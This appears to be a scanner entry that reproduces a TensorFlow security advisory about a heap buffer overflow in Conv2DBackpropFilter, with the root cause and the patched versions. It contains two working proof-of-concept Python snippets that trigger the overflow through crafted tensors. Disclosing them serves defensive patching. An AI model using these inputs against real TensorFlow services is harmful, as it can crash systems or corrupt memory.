QID 982508: Python (pip) Security Update for tensorflow-gpu (GHSA-xgc3-m89p-vr3x)
Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:
```python
import tensorflow as tf
input_tensor = tf.constant([386.078431372549, 386.07843139643234],
shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
```
Alternatively, passing empty tensors also results in similar behavior:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
